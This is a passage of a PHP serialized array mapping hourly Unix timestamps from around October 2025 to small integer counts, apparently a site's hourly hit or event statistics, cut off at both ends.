0;i:3;}i:1759417200;a:1:{i:0;i:2;}i:1759420800;a:1:{i:0;i:2;}i:1759424400;a:1:{i:0;i:3;}i:1759428000;a:1:{i:0;i:1;}i:1759431600;a:1:{i:0;i:1;}i:1759442400;a:1:{i:0;i:5;}i:1759446000;a:1:{i:0;i:1;}i:1759449600;a:1:{i:0;i:4;}i:1759453200;a:1:{i:0;i:1;}i:1759474800;a:1:{i:0;i:1;}i:1759478400;a:1:{i:0;i:1;}i:1759482000;a:1:{i:0;i:1;}i:1759485600;a:1:{i:0;i:1;}i:1759507200;a:1:{i:0;i:1;}i:1759521600;a:1:{i:0;i:3;}i:1759554000;a:1:{i:0;i:1;}i:1759557600;a:1:{i:0;i:1;}i:1759561200;a:1:{i:0;i:2;}i:1759564800;a:1:{i:0;i:4;}i:1759572000;a:1:{i:0;i:2;}i:1759575600;a:1:{i:0;i:4;}i:1759579200;a:1:{i:0;i:2;}i:1759582800;a:1:{i:0;i:1;}i:1759590000;a:1:{i:0;i:5;}i:1759593600;a:1:{i:0;i:3;}i:1759600800;a:1:{i:0;i:1;}i:1759604400;a:1:{i:0;i:1;}i:1759608000;a:1:{i:0;i:1;}i:1759611600;a:1:{i:0;i:1;}i:1759622400;a:1:{i:0;i:3;}i:1759633200;a:1:{i:0;i:1;}i:1759636800;a:1:{i:0;i:1;}i:1759640400;a:1:{i:0;i:1;}i:1759644000;a:1:{i:0;i:3;}i:1759647600;a:1:{i:0;i:1;}i:1759654800;a:1:{i:0;i:1;}i:1759669200;a:1:{i:0;i:5;}i:1759672800;a:1:{i:0;i:11;}i:1759676400;a:1:{i:0;i:7;}i:1759680000;a:1:{i:0;i:6;}i:1759683600;a:1:{i:0;i:8;}i:1759687200;a:1:{i:0;i:8;}i:1759690800;a:1:{i:0;i:12;}i:1759694400;a:1:{i:0;i:9;}i:1759698000;a:1:{i:0;i:16;}i:1759701600;a:1:{i:0;i:9;}i:1759705200;a:1:{i:0;i:8;}i:1759708800;a:1:{i:0;i:7;}i:1759716000;a:1:{i:0;i:1;}i:1759719600;a:1:{i:0;i:3;}i:1759723200;a:1:{i:0;i:283;}i:1759726800;a:1:{i:0;i:259;}i:1759730400;a:1:{i:0;i:319;}i:1759734000;a:1:{i:0;i:346;}i:1759737600;a:1:{i:0;i:192;}i:1759741200;a:1:{i:0;i:213;}i:1759744800;a:1:{i:0;i:250;}i:1759748400;a:1:{i:0;i:51;}i:1759752000;a:1:{i:0;i:12;}i:1759755600;a:1:{i:0;i:12;}i:1759759200;a:1:{i:0;i:11;}i:1759762800;a:1:{i:0;i:4;}i:1759766400;a:1:{i:0;i:13;}i:1759770000;a:1:{i:0;i:8;}i:1759773600;a:1:{i:0;i:2;}i:1759777200;a:1:{i:0;i:1;}i:1759784400;a:1:{i:0;i:1;}i:1759788000;a:1:{i:0;i:2;}i:1759795200;a:1:{i:0;i:4;}i:1759802400;a:1:{i:0;i:10;}i:1759806000;a:1:{i:0;i:19;}i:1759809600;a:1:{i:0;i:19;}i:1759813200;a:1:{i:0;i:17;}i:1759816800;a:1:{i:0;i:17;}i:1759820400;a:1:{i:0;i:24;}i:1759824000;a:1:{i:0;i:16;}i:1759827600;a:1:{i:0;i:15;}i:1759831200;a:1:{i:0;i:14;}i:1759834800;a:1:{i:0;i:16;}i:1759838400;a:1:{i:0;i:13;}i:1759842000;a:1:{i:0;i:19;}i:1759845600;a:1:{i:0;i:12;}i:1759849200;a:1:{i:0;i:20;}i:1759852800;a:1:{i:0;i:16;}i:1759856400;a:1:{i:0;i:19;}i:1759860000;a:1:{i:0;i:16;}i:1759863600;a:1:{i:0;i:20;}i:1759867200;a:1:{i:0;i:17;}i:1759870800;a:1:{i:0;i:15;}i:1759874400;a:1:{i:0;i:15;}i:1759878000;a:1:{i:0;i:8;}i:1759881600;a:1:{i:0;i:18;}i:1759885200;a:1:{i:0;i:24;}i:1759888800;a:1:{i:0;i:13;}i:1759892400;a:1:{i:0;i:17;}i:1759896000;a:1:{i:0;i:15;}i:1759899600;a:1:{i:0;i:13;}i:1759903200;a:1:{i:0;i:15;}i:1759906800;a:1:{i:0;i:20;}i:1759910400;a:1:{i:0;i:13;}i:1759914000;a:1:{i:0;i:19;}i:1759917600;a:1:{i:0;i:11;}i:1759921200;a:1:{i:0;i:21;}i:1759924800;a:1:{i:0;i:17;}i:1759928400;a:1:{i:0;i:13;}i:1759932000;a:1:{i:0;i:13;}i:1759935600;a:1:{i:0;i:19;}i:1759939200;a:1:{i:0;i:14;}i:1759942800;a:1:{i:0;i:13;}i:1759946400;a:1:{i:0;i:10;}i:1759950000;a:1:{i:0;i:13;}i:1759953600;a:1:{i:0;i:16;}i:1759957200;a:1:{i:0;i:3;}i:1759964400;a:1:{i:0;i:2;}i:1759971600;a:1:{i:0;i:4;}i:1759975200;a:1:{i:0;i:15;}i:1759978800;a:1:{i:0;i:14;}i:1759982400;a:1:{i:0;i:7;}i:1759986000;a:1:{i:0;i:16;}i:1759989600;a:1:{i:0;i:14;}i:1759993200;a:1:{i:0;i:14;}i:1759996800;a:1:{i:0;i:17;}i:1760000400;a:1:{i:0;i:8;}i:1760004000;a:1:{i:0;i:12;}i:1760007600;a:1:{i:0;i:14;}i:1760011200;a:1:{i:0;i:15;}i:1760014800;a:1:{i:0;i:5;}i:1760018400;a:1:{i:0;i:2;}i:1760022000;a:1:{i:0;i:12;}i:1760025600;a:1:{i:0;i:14;}i:1760029200;a:1:{i:0;i:15;}i:1760032800;a:1:{i:0;i:18;}i:1760036400;a:1:{i:0;i:17;}i:1760040000;a:1:{i:0;i:2;}i:1760043600;a:1:{i:0;i:3;}i:1760047200;a:1:{i:0;i:1;}i:1760058000;a:1:{i:0;i:1;}i:1760068800;a:1:{i:0;i:10;}i:1760072400;a:1:{i:0;i:1;}i:1760076000;a:1:{i:0;i:3;}i:1760079600;a:1:{i:0;i:2;}i:1760083200;a:1:{i:0;i:2;}i:1760086800;a:1:{i:0;i:30;}i:1760090400;a:1:{i:0;i:437;}i:1760094000;a:1:{i:0;i:314;}i:1760097600;a:1:{i:0;i:214;}i:1760101200;a:1:{i:0;i:2;}i:1760104800;a:1:{i:0;i:358;}i:1760108400;a:1:{i:0;i:323;}i:1760112000;a:1:{i:0;i:344;}i:1760115600;a:1:{i:0;i:205;}i:1760119200;a:1:{i:0;i:1;}i:1760126400;a:1:{i:0;i:1;}i:1760130000;a:1:{i:0;i:1;}i:1760133600;a:1:{i:0;i:1;}i:1760137200;a:1:{i:0;i:3;}i:1760151600;a:1:{i:0;i:10;}i:1760155200;a:1:{i:0;i:14;}i:1760158800;a:1:{i:0;i:17;}i:1760162400;a:1:{i:0;i:5;}i:1760169600;a:1:{i:0;i:1;}i:1760173200;a:1:{i:0;i:4;}i:1760176800;a:1:{i:0;i:2;}i:1760180400;a:1:{i:0;i:8;}i:1760184000;a:1:{i:0;i:9;}i:1760187600;a:1:{i:0;i:1;}i:1760191200;a:1:{i:0;i:5;}i:1760194800;a:1:{i:0;i:10;}i:1760198400;a:1:{i:0;i:3;}i:1760202000;a:1:{i:0;i:3;}i:1760205600;a:1:{i:0;i:1;}i:1760209200;a:1:{i:0;i:2;}i:1760212800;a:1:{i:0;i:2;}i:1760216400;a:1:{i:0;i:6;}i:1760220000;a:1:{i:0;i:2;}i:1760223600;a:1:{i:0;i:5;}i:1760227200;a:1:{i:0;i:7;}i:1760230800;a:1:{i:0;i:7;}i:1760234400;a:1:{i:0;i:8;}i:1760238000;a:1:{i:0;i:5;}i:1760241600;a:1:{i:0;i:5;}i:1760245200;a:1:{i:0;i:333;}i:1760248800;a:1:{i:0;i:366;}i:1760252400;a:1:{i:0;i:339;}i:1760256000;a:1:{i:0;i:316;}i:1760259600;a:1:{i:0;i:319;}i:1760263200;a:1:{i:0;i:344;}i:1760266800;a:1:{i:0;i:385;}i:1760270400;a:1:{i:0;i:110;}i:1760277600;a:1:{i:0;i:3;}i:1760281200;a:1:{i:0;i:9;}i:1760284800;a:1:{i:0;i:5;}i:1760288400;a:1:{i:0;i:11;}i:1760292000;a:1:{i:0;i:10;}i:1760295600;a:1:{i:0;i:15;}i:1760299200;a:1:{i:0;i:9;}i:1760302800;a:1:{i:0;i:4;}i:1760306400;a:1:{i:0;i:10;}i:1760310000;a:1:{i:0;i:23;}i:1760313600;a:1:{i:0;i:25;}i:1760317200;a:1:{i:0;i:27;}i:1760320800;a:1:{i:0;i:22;}i:1760324400;a:1:{i:0;i:23;}i:1760328000;a:1:{i:0;i:2;}i:1760331600;a:1:{i:0;i:12;}i:1760335200;a:1:{i:0;i:32;}i:1760338800;a:1:{i:0;i:36;}i:1760342400;a:1:{i:0;i:17;}i:1760346000;a:1:{i:0;i:29;}i:1760349600;a:1:{i:0;i:25;}i:1760353200;a:1:{i:0;i:33;}i:1760356800;a:1:{i:0;i:28;}i:1760360400;a:1:{i:0;i:23;}i:1760364000;a:1:{i:0;i:29;}i:1760367600;a:1:{i:0;i:28;}i:1760371200;a:1:{i:0;i:8;}i:1760374800;a:1:{i:0;i:5;}i:1760378400;a:1:{i:0;i:9;}i:1760382000;a:1:{i:0;i:15;}i:1760385600;a:1:{i:0;i:4;}i:1760389200;a:1:{i:0;i:13;}i:1760392800;a:1:{i:0;i:9;}i:1760396400;a:1:{i:0;i:9;}i:1760400000;a:1:{i:0;i:11;}i:1760403600;a:1:{i:0;i:6;}i:1760407200;a:1:{i:0;i:8;}i:1760410800;a:1:{i:0;i:18;}i:1760414400;a:1:{i:0;i:30;}i:1760418000;a:1:{i:0;i:28;}i:1760421600;a:1:{i:0;i:32;}i:1760425200;a:1:{i:0;i:18;}i:1760428800;a:1:{i:0;i:6;}i:1760432400;a:1:{i:0;i:7;}i:1760436000;a:1:{i:0;i:13;}i:1760439600;a:1:{i:0;i:15;}i:1760443200;a:1:{i:0;i:10;}i:1760446800;a:1:{i:0;i:16;}i:1760450400;a:1:{i:0;i:23;}i:1760454000;a:1:{i:0;i:24;}i:1760457600;a:1:{i:0;i:26;}i:1760461200;a:1:{i:0;i:26;}i:1760464800;a:1:{i:0;i:34;}i:1760468400;a:1:{i:0;i:22;}i:1760472000;a:1:{i:0;i:29;}i:1760475600;a:1:{i:0;i:29;}i:1760479200;a:1:{i:0;i:31;}i:1760482800;a:1:{i:0;i:25;}i:1760486400;a:1:{i:0;i:27;}i:1760490000;a:1:{i:0;i:23;}i:1760493600;a:1:{i:0;i:11;}i:1760497200;a:1:{i:0;i:12;}i:1760500800;a:1:{i:0;i:11;}i:1760504400;a:1:{i:0;i:14;}i:1760508000;a:1:{i:0;i:13;}i:1760511600;a:1:{i:0;i:8;}i:1760515200;a:1:{i:0;i:9;}i:1760518800;a:1:{i:0;i:7;}i:1760526000;a:1:{i:0;i:12;}i:1760529600;a:1:{i:0;i:9;}i:1760533200;a:1:{i:0;i:4;}i:1760536800;a:1:{i:0;i:8;}i:1760540400;a:1:{i:0;i:15;}i:1760544000;a:1:{i:0;i:19;}i:1760547600;a:1:{i:0;i:18;}i:1760551200;a:1:{i:0;i:23;}i:1760554800;a:1:{i:0;i:16;}i:1760558400;a:1:{i:0;i:16;}i:1760562000;a:1:{i:0;i:16;}i:1760565600;a:1:{i:0;i:12;}i:1760569200;a:1:{i:0;i:11;}i:1760572800;a:1:{i:0;i:1;}i:1760576400;a:1:{i:0;i:9;}i:1760580000;a:1:{i:0;i:7;}i:1760583600;a:1:{i:0;i:11;}i:1760587200;a:1:{i:0;i:19;}i:1760590800;a:1:{i:0;i:15;}i:1760594400;a:1:{i:0;i:20;}i:1760598000;a:1:{i:0;i:16;}i:1760601600;a:1:{i:0;i:24;}i:1760605200;a:1:{i:0;i:19;}i:1760608800;a:1:{i:0;i:19;}i:1760612400;a:1:{i:0;i:24;}i:1760616000;a:1:{i:0;i:16;}i:1760619600;a:1:{i:0;i:22;}i:1760623200;a:1:{i:0;i:19;}i:1760626800;a:1:{i:0;i:22;}i:1760630400;a:1:{i:0;i:22;}i:1760634000;a:1:{i:0;i:21;}i:1760637600;a:1:{i:0;i:23;}i:1760641200;a:1:{i:0;i:19;}i:1760644800;a:1:{i:0;i:13;}i:1760648400;a:1:{i:0;i:9;}i:1760652000;a:1:{i:0;i:11;}i:1760655600;a:1:{i:0;i:11;}i:1760659200;a:1:{i:0;i:6;}i:1760662800;a:1:{i:0;i:8;}i:1760666400;a:1:{i:0;i:26;}i:1760670000;a:1:{i:0;i:23;}i:1760673600;a:1:{i:0;i:28;}i:1760677200;a:1:{i:0;i:21;}i:1760680800;a:1:{i:0;i:21;}i:1760684400;a:1:{i:0;i:16;}i:1760688000;a:1:{i:0;i:5;}i:1760691600;a:1:{i:0;i:25;}i:1760695200;a:1:{i:0;i:24;}i:1760698800;a:1:{i:0;i:30;}i:1760702400;a:1:{i:0;i:26;}i:1760706000;a:1:{i:0;i:12;}i:1760709600;a:1:{i:0;i:10;}i:1760713200;a:1:{i:0;i:11;}i:1760716800;a:1:{i:0;i:26;}i:1760720400;a:1:{i:0;i:29;}i:1760724000;a:1:{i:0;i:30;}i:1760727600;a:1:{i:0;i:24;}i:1760731200;a:1:{i:0;i:20;}i:1760734800;a:1:{i:0;i:11;}i:1760738400;a:1:{i:0;i:12;}i:1760742000;a:1:{i:0;i:11;}i:1760745600;a:1:{i:0;i:15;}i:1760749200;a:1:{i:0;i:12;}i:1760752800;a:1:{i:0;i:10;}i:1760756400;a:1:{i:0;i:10;}i:1760760000;a:1:{i:0;i:27;}i:1760763600;a:1:{i:0;i:26;}i:1760767200;a:1:{i:0;i:21;}i:1760770800;a:1:{i:0;i:30;}i:1760774400;a:1:{i:0;i:26;}i:1760778000;a:1:{i:0;i:27;}i:1760781600;a:1:{i:0;i:28;}i:1760785200;a:1:{i:0;i:28;}i:1760788800;a:1:{i:0;i:23;}i:1760792400;a:1:{i:0;i:25;}i:1760796000;a:1:{i:0;i:26;}i:1760799600;a:1:{i:0;i:28;}i:1760803200;a:1:{i:0;i:29;}i:1760806800;a:1:{i:0;i:37;}i:1760810400;a:1:{i:0;i:28;}i:1760814000;a:1:{i:0;i:24;}i:1760817600;a:1:{i:0;i:23;}i:1760821200;a:1:{i:0;i:23;}i:1760824800;a:1:{i:0;i:26;}i:1760828400;a:1:{i:0;i:21;}i:1760832000;a:1:{i:0;i:20;}i:1760835600;a:1:{i:0;i:12;}i:1760839200;a:1:{i:0;i:9;}i:1760842800;a:1:{i:0;i:13;}i:1760846400;a:1:{i:0;i:10;}i:1760850000;a:1:{i:0;i:28;}i:1760853600;a:1:{i:0;i:25;}i:1760857200;a:1:{i:0;i:22;}i:1760860800;a:1:{i:0;i:25;}i:1760864400;a:1:{i:0;i:28;}i:1760868000;a:1:{i:0;i:33;}i:1760871600;a:1:{i:0;i:28;}i:1760875200;a:1:{i:0;i:26;}i:1760878800;a:1:{i:0;i:12;}i:1760882400;a:1:{i:0;i:20;}i:1760886000;a:1:{i:0;i:17;}i:1760889600;a:1:{i:0;i:19;}i:1760893200;a:1:{i:0;i:20;}i:1760896800;a:1:{i:0;i:18;}i:1760900400;a:1:{i:0;i:21;}i:1760904000;a:1:{i:0;i:27;}i:1760907600;a:1:{i:0;i:34;}i:1760911200;a:1:{i:0;i:22;}i:1760914800;a:1:{i:0;i:21;}i:1760918400;a:1:{i:0;i:22;}i:1760922000;a:1:{i:0;i:23;}i:1760925600;a:1:{i:0;i:21;}i:1760929200;a:1:{i:0;i:14;}i:1760932800;a:1:{i:0;i:6;}i:1760936400;a:1:{i:0;i:18;}i:1760940000;a:1:{i:0;i:15;}i:1760943600;a:1:{i:0;i:9;}i:1760947200;a:1:{i:0;i:6;}i:1760950800;a:1:{i:0;i:7;}i:1760954400;a:1:{i:0;i:7;}i:1760958000;a:1:{i:0;i:10;}i:1760961600;a:1:{i:0;i:5;}i:1760965200;a:1:{i:0;i:6;}i:1760968800;a:1:{i:0;i:8;}i:1760972400;a:1:{i:0;i:8;}i:1760976000;a:1:{i:0;i:6;}i:1760979600;a:1:{i:0;i:15;}i:1760983200;a:1:{i:0;i:12;}i:1760986800;a:1:{i:0;i:6;}i:1760990400;a:1:{i:0;i:6;}i:1760994000;a:1:{i:0;i:8;}i:1760997600;a:1:{i:0;i:6;}i:1761001200;a:1:{i:0;i:3;}i:1761004800;a:1:{i:0;i:7;}i:1761008400;a:1:{i:0;i:9;}i:1761012000;a:1:{i:0;i:9;}i:1761015600;a:1:{i:0;i:18;}i:1761019200;a:1:{i:0;i:21;}i:1761022800;a:1:{i:0;i:14;}i:1761026400;a:1:{i:0;i:20;}i:1761030000;a:1:{i:0;i:22;}i:1761033600;a:1:{i:0;i:23;}i:1761037200;a:1:{i:0;i:19;}i:1761040800;a:1:{i:0;i:16;}i:1761044400;a:1:{i:0;i:21;}i:1761048000;a:1:{i:0;i:18;}i:1761051600;a:1:{i:0;i:12;}i:1761055200;a:1:{i:0;i:3;}i:1761058800;a:1:{i:0;i:16;}i:1761062400;a:1:{i:0;i:14;}i:1761066000;a:1:{i:0;i:16;}i:1761069600;a:1:{i:0;i:15;}i:1761073200;a:1:{i:0;i:8;}i:1761076800;a:1:{i:0;i:11;}i:1761080400;a:1:{i:0;i:14;}i:1761084000;a:1:{i:0;i:12;}i:1761087600;a:1:{i:0;i:14;}i:1761091200;a:1:{i:0;i:12;}i:1761094800;a:1:{i:0;i:12;}i:1761098400;a:1:{i:0;i:7;}i:1761102000;a:1:{i:0;i:23;}i:1761105600;a:1:{i:0;i:21;}i:1761109200;a:1:{i:0;i:14;}i:1761112800;a:1:{i:0;i:23;}i:1761116400;a:1:{i:0;i:22;}i:1761120000;a:1:{i:0;i:22;}i:1761123600;a:1:{i:0;i:27;}i:1761127200;a:1:{i:0;i:19;}i:1761130800;a:1:{i:0;i:14;}i:1761134400;a:1:{i:0;i:8;}i:1761138000;a:1:{i:0;i:20;}i:1761141600;a:1:{i:0;i:23;}i:1761145200;a:1:{i:0;i:24;}i:1761148800;a:1:{i:0;i:23;}i:1761152400;a:1:{i:0;i:16;}i:1761156000;a:1:{i:0;i:7;}i:1761159600;a:1:{i:0;i:9;}i:1761163200;a:1:{i:0;i:4;}i:1761166800;a:1:{i:0;i:10;}i:1761170400;a:1:{i:0;i:11;}i:1761174000;a:1:{i:0;i:7;}i:1761177600;a:1:{i:0;i:6;}i:1761181200;a:1:{i:0;i:2;}i:1761184800;a:1:{i:0;i:7;}i:1761188400;a:1:{i:0;i:11;}i:1761192000;a:1:{i:0;i:46;}i:1761195600;a:1:{i:0;i:17;}i:1761199200;a:1:{i:0;i:17;}i:1761202800;a:1:{i:0;i:18;}i:1761206400;a:1:{i:0;i:22;}i:1761210000;a:1:{i:0;i:25;}i:1761213600;a:1:{i:0;i:16;}i:1761217200;a:1:{i:0;i:3;}i:1761220800;a:1:{i:0;i:12;}i:1761224400;a:1:{i:0;i:8;}i:1761228000;a:1:{i:0;i:11;}i:1761231600;a:1:{i:0;i:6;}i:1761235200;a:1:{i:0;i:9;}i:1761238800;a:1:{i:0;i:9;}i:1761242400;a:1:{i:0;i:4;}i:1761246000;a:1:{i:0;i:11;}i:1761249600;a:1:{i:0;i:10;}i:1761253200;a:1:{i:0;i:4;}i:1761256800;a:1:{i:0;i:26;}i:1761260400;a:1:{i:0;i:22;}i:1761264000;a:1:{i:0;i:14;}i:1761267600;a:1:{i:0;i:8;}i:1761271200;a:1:{i:0;i:6;}i:1761274800;a:1:{i:0;i:13;}i:1761278400;a:1:{i:0;i:33;}i:1761282000;a:1:{i:0;i:34;}i:1761285600;a:1:{i:0;i:28;}i:1761289200;a:1:{i:0;i:21;}i:1761292800;a:1:{i:0;i:26;}i:1761296400;a:1:{i:0;i:27;}i:1761300000;a:1:{i:0;i:19;}i:1761303600;a:1:{i:0;i:18;}i:1761307200;a:1:{i:0;i:18;}i:1761310800;a:1:{i:0;i:22;}i:1761314400;a:1:{i:0;i:14;}i:1761318000;a:1:{i:0;i:2;}i:1761321600;a:1:{i:0;i:6;}i:1761325200;a:1:{i:0;i:7;}i:1761328800;a:1:{i:0;i:14;}i:1761332400;a:1:{i:0;i:23;}i:1761336000;a:1:{i:0;i:19;}i:1761339600;a:1:{i:0;i:19;}i:1761343200;a:1:{i:0;i:4;}i:1761346800;a:1:{i:0;i:6;}i:1761350400;a:1:{i:0;i:9;}i:1761354000;a:1:{i:0;i:5;}i:1761357600;a:1:{i:0;i:4;}i:1761361200;a:1:{i:0;i:18;}i:1761364800;a:1:{i:0;i:21;}i:1761368400;a:1:{i:0;i:37;}i:1761372000;a:1:{i:0;i:21;}i:1761375600;a:1:{i:0;i:23;}i:1761379200;a:1:{i:0;i:23;}i:1761382800;a:1:{i:0;i:18;}i:1761386400;a:1:{i:0;i:24;}i:1761390000;a:1:{i:0;i:18;}i:1761393600;a:1:{i:0;i:20;}i:1761397200;a:1:{i:0;i:23;}i:1761400800;a:1:{i:0;i:23;}i:1761404400;a:1:{i:0;i:22;}i:1761408000;a:1:{i:0;i:25;}i:1761411600;a:1:{i:0;i:23;}i:1761415200;a:1:{i:0;i:22;}i:1761418800;a:1:{i:0;i:25;}i:1761422400;a:1:{i:0;i:27;}i:1761426000;a:1:{i:0;i:22;}i:1761429600;a:1:{i:0;i:42;}i:1761433200;a:1:{i:0;i:31;}i:1761436800;a:1:{i:0;i:9;}i:1761440400;a:1:{i:0;i:24;}i:1761444000;a:1:{i:0;i:28;}i:1761447600;a:1:{i:0;i:35;}i:1761451200;a:1:{i:0;i:48;}i:1761454800;a:1:{i:0;i:34;}i:1761458400;a:1:{i:0;i:33;}i:1761462000;a:1:{i:0;i:12;}i:1761465600;a:1:{i:0;i:17;}i:1761469200;a:1:{i:0;i:19;}i:1761472800;a:1:{i:0;i:39;}i:1761476400;a:1:{i:0;i:41;}i:1761480000;a:1:{i:0;i:25;}i:1761483600;a:1:{i:0;i:12;}i:1761487200;a:1:{i:0;i:7;}i:1761490800;a:1:{i:0;i:7;}i:1761494400;a:1:{i:0;i:9;}i:1761498000;a:1:{i:0;i:31;}i:1761501600;a:1:{i:0;i:40;}i:1761505200;a:1:{i:0;i:38;}i:1761508800;a:1:{i:0;i:37;}i:1761512400;a:1:{i:0;i:38;}i:1761516000;a:1:{i:0;i:31;}i:1761519600;a:1:{i:0;i:9;}i:1761523200;a:1:{i:0;i:8;}i:1761526800;a:1:{i:0;i:9;}i:1761530400;a:1:{i:0;i:7;}i:1761534000;a:1:{i:0;i:7;}i:1761537600;a:1:{i:0;i:9;}i:1761541200;a:1:{i:0;i:16;}i:1761544800;a:1:{i:0;i:6;}i:1761548400;a:1:{i:0;i:3;}i:1761552000;a:1:{i:0;i:4;}i:1761555600;a:1:{i:0;i:3;}i:1761559200;a:1:{i:0;i:3;}i:1761562800;a:1:{i:0;i:3;}i:1761566400;a:1:{i:0;i:8;}i:1761570000;a:1:{i:0;i:12;}i:1761573600;a:1:{i:0;i:7;}i:1761577200;a:1:{i:0;i:2;}i:1761580800;a:1:{i:0;i:2;}i:1761584400;a:1:{i:0;i:2;}i:1761588000;a:1:{i:0;i:46;}i:1761591600;a:1:{i:0;i:116;}i:1761595200;a:1:{i:0;i:106;}i:1761598800;a:1:{i:0;i:4;}i:1761602400;a:1:{i:0;i:3;}i:1761606000;a:1:{i:0;i:2;}i:1761609600;a:1:{i:0;i:5;}i:1761613200;a:1:{i:0;i:4;}i:1761616800;a:1:{i:0;i:8;}i:1761620400;a:1:{i:0;i:6;}i:1761624000;a:1:{i:0;i:8;}i:1761627600;a:1:{i:0;i:6;}i:1761631200;a:1:{i:0;i:8;}i:1761634800;a:1:{i:0;i:10;}i:1761638400;a:1:{i:0;i:9;}i:1761642000;a:1:{i:0;i:11;}i:1761645600;a:1:{i:0;i:13;}i:1761649200;a:1:{i:0;i:8;}i:1761652800;a:1:{i:0;i:7;}i:1761656400;a:1:{i:0;i:2;}i:1761660000;a:1:{i:0;i:6;}i:1761663600;a:1:{i:0;i:10;}i:1761667200;a:1:{i:0;i:13;}i:1761670800;a:1:{i:0;i:6;}i:1761674400;a:1:{i:0;i:8;}i:1761678000;a:1:{i:0;i:8;}i:1761681600;a:1:{i:0;i:8;}i:1761685200;a:1:{i:0;i:8;}i:1761688800;a:1:{i:0;i:5;}i:1761692400;a:1:{i:0;i:5;}i:1761696000;a:1:{i:0;i:6;}i:1761699600;a:1:{i:0;i:4;}i:1761703200;a:1:{i:0;i:7;}i:1761706800;a:1:{i:0;i:7;}i:1761710400;a:1:{i:0;i:6;}i:1761714000;a:1:{i:0;i:6;}i:1761717600;a:1:{i:0;i:6;}i:1761721200;a:1:{i:0;i:10;}i:1761724800;a:1:{i:0;i:5;}i:1761728400;a:1:{i:0;i:5;}i:1761732000;a:1:{i:0;i:6;}i:1761735600;a:1:{i:0;i:6;}i:1761739200;a:1:{i:0;i:4;}i:1761742800;a:1:{i:0;i:7;}i:1761746400;a:1:{i:0;i:5;}i:1761750000;a:1:{i:0;i:4;}i:1761753600;a:1:{i:0;i:6;}i:1761757200;a:1:{i:0;i:6;}i:1761760800;a:1:{i:0;i:4;}i:1761764400;a:1:{i:0;i:8;}i:1761768000;a:1:{i:0;i:5;}i:1761771600;a:1:{i:0;i:7;}i:1761775200;a:1:{i:0;i:4;}i:1761778800;a:1:{i:0;i:9;}i:1761782400;a:1:{i:0;i:6;}i:1761786000;a:1:{i:0;i:5;}i:1761789600;a:1:{i:0;i:11;}i:1761793200;a:1:{i:0;i:15;}i:1761796800;a:1:{i:0;i:16;}i:1761800400;a:1:{i:0;i:9;}i:1761804000;a:1:{i:0;i:10;}i:1761807600;a:1:{i:0;i:16;}i:1761811200;a:1:{i:0;i:25;}i:1761814800;a:1:{i:0;i:22;}i:1761818400;a:1:{i:0;i:22;}i:1761822000;a:1:{i:0;i:26;}i:1761825600;a:1:{i:0;i:17;}i:1761829200;a:1:{i:0;i:6;}i:1761832800;a:1:{i:0;i:4;}i:1761836400;a:1:{i:0;i:4;}i:1761840000;a:1:{i:0;i:3;}i:1761843600;a:1:{i:0;i:3;}i:1761847200;a:1:{i:0;i:19;}i:1761850800;a:1:{i:0;i:26;}i:1761854400;a:1:{i:0;i:27;}i:1761858000;a:1:{i:0;i:18;}i:1761861600;a:1:{i:0;i:21;}i:1761865200;a:1:{i:0;i:21;}i:1761868800;a:1:{i:0;i:22;}i:1761872400;a:1:{i:0;i:18;}i:1761876000;a:1:{i:0;i:19;}i:1761879600;a:1:{i:0;i:15;}i:1761883200;a:1:{i:0;i:18;}i:1761886800;a:1:{i:0;i:21;}i:1761890400;a:1:{i:0;i:14;}i:1761894000;a:1:{i:0;i:21;}i:1761897600;a:1:{i:0;i:15;}i:1761901200;a:1:{i:0;i:27;}i:1761904800;a:1:{i:0;i:24;}i:1761908400;a:1:{i:0;i:26;}i:1761912000;a:1:{i:0;i:28;}i:1761915600;a:1:{i:0;i:17;}i:1761919200;a:1:{i:0;i:14;}i:1761922800;a:1:{i:0;i:17;}i:1761926400;a:1:{i:0;i:22;}i:1761930000;a:1:{i:0;i:28;}i:1761933600;a:1:{i:0;i:28;}i:1761937200;a:1:{i:0;i:28;}i:1761940800;a:1:{i:0;i:25;}i:1761944400;a:1:{i:0;i:25;}i:1761948000;a:1:{i:0;i:32;}i:1761951600;a:1:{i:0;i:27;}i:1761955200;a:1:{i:0;i:29;}i:1761958800;a:1:{i:0;i:22;}i:1761962400;a:1:{i:0;i:24;}i:1761966000;a:1:{i:0;i:12;}i:1761969600;a:1:{i:0;i:16;}i:1761973200;a:1:{i:0;i:13;}i:1761976800;a:1:{i:0;i:20;}i:1761980400;a:1:{i:0;i:11;}i:1761984000;a:1:{i:0;i:10;}i:1761987600;a:1:{i:0;i:9;}i:1761991200;a:1:{i:0;i:14;}i:1761994800;a:1:{i:0;i:13;}i:1761998400;a:1:{i:0;i:20;}i:1762002000;a:1:{i:0;i:16;}i:1762005600;a:1:{i:0;i:19;}i:1762009200;a:1:{i:0;i:23;}i:1762012800;a:1:{i:0;i:13;}i:1762016400;a:1:{i:0;i:14;}i:1762020000;a:1:{i:0;i:14;}i:1762023600;a:1:{i:0;i:11;}i:1762027200;a:1:{i:0;i:15;}i:1762030800;a:1:{i:0;i:12;}i:1762034400;a:1:{i:0;i:12;}i:1762038000;a:1:{i:0;i:14;}i:1762041600;a:1:{i:0;i:14;}i:1762045200;a:1:{i:0;i:7;}i:1762048800;a:1:{i:0;i:11;}i:1762052400;a:1:{i:0;i:9;}i:1762056000;a:1:{i:0;i:21;}i:1762059600;a:1:{i:0;i:14;}i:1762063200;a:1:{i:0;i:21;}i:1762066800;a:1:{i:0;i:25;}i:1762070400;a:1:{i:0;i:21;}i:1762074000;a:1:{i:0;i:24;}i:1762077600;a:1:{i:0;i:13;}i:1762081200;a:1:{i:0;i:16;}i:1762084800;a:1:{i:0;i:9;}i:1762088400;a:1:{i:0;i:6;}i:1762092000;a:1:{i:0;i:5;}i:1762095600;a:1:{i:0;i:3;}i:1762099200;a:1:{i:0;i:6;}i:1762102800;a:1:{i:0;i:5;}i:1762106400;a:1:{i:0;i:6;}i:1762110000;a:1:{i:0;i:4;}i:1762113600;a:1:{i:0;i:12;}i:1762117200;a:1:{i:0;i:4;}i:1762120800;a:1:{i:0;i:3;}i:1762124400;a:1:{i:0;i:5;}i:1762128000;a:1:{i:0;i:4;}i:1762131600;a:1:{i:0;i:3;}i:1762135200;a:1:{i:0;i:17;}i:1762138800;a:1:{i:0;i:6;}i:1762142400;a:1:{i:0;i:3;}i:1762146000;a:1:{i:0;i:3;}i:1762149600;a:1:{i:0;i:3;}i:1762153200;a:1:{i:0;i:4;}i:1762156800;a:1:{i:0;i:1;}i:1762160400;a:1:{i:0;i:8;}i:1762164000;a:1:{i:0;i:1;}i:1762167600;a:1:{i:0;i:2;